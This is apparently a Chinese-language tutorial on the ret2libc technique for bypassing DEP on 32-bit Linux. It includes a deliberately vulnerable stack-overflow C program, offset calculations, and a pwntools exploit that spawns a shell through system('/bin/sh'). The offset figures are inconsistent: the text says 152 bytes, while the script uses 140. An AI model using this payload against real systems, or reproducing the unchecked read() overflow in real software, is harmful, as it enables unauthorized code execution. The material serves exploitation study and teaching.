Linux下利用Ret2Libc绕过DEP
⑴. 原理分析:
系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell。
⑵.环境准备:
i.漏洞代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void flow(){
char buf[128];
read(STDIN_FILENO,buf,256);
}
int main(){
flow();
char a[]="hello";
write(STDOUT_FILENO,a,strlen(a));
return 0;
}
编译指令:
gcc -fno-stack-protector -g -m32 -o vuln vuln.c
ii.测试环境:
测试系统:kaii 2.0 rolling
辅助插件:peda
⑶.测试分析:
i.存在漏洞的函数flow返回地址:
漏洞函数返回地址:0xffffd2ac。
ii.缓冲区起始地址:
缓冲区起始地址:0xffffd220
iii. 系统函数system()地址
iv.System参数:”/bin/sh”
v. system函数源码:
int system(const char * cmdstring)
{
pid_t pid;
int status;
if(cmdstring == NULL){
return (1);
}
if((pid = fork())<0){
status = -1;
}
else if(pid == 0){
execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);
_exit(127); //子进程正常执行则不会执行此语句
}
else{
while(waitpid(pid, &status, 0) < 0){
if(errno != EINTER){
status = -1;
break;
}
}
}
return status;
}
⑷.攻击过程:
i.计算攻击shellcode长度:
我们的目的是用system函数的地址覆盖返回地址,将system函数后的参数地址(后8字节,后四字节是返回地址)覆盖为我们找到的”/bin/sh”的地址。
所以size(shellcode)= address(ret)- address(buff)+ 12 = 0xffffd2ac – 0xffffd220 + 12 = 152
ii. 设计shellcode结构:
注:因为我们劫持程序后获得shell之后不会再返回,所以addr(ret:system)可以是任意地址。
iii.编写漏洞利用脚本:
from pwn import *
sh = 0xf7f4a808
system = 0xf7e0bc70
ret = 0x565555d4
payload = 'a'*140+p32(system)+p32(ret)+p32(sh)
p = process('./vuln')
p.send(payload)
p.interactive()
执行:
成功。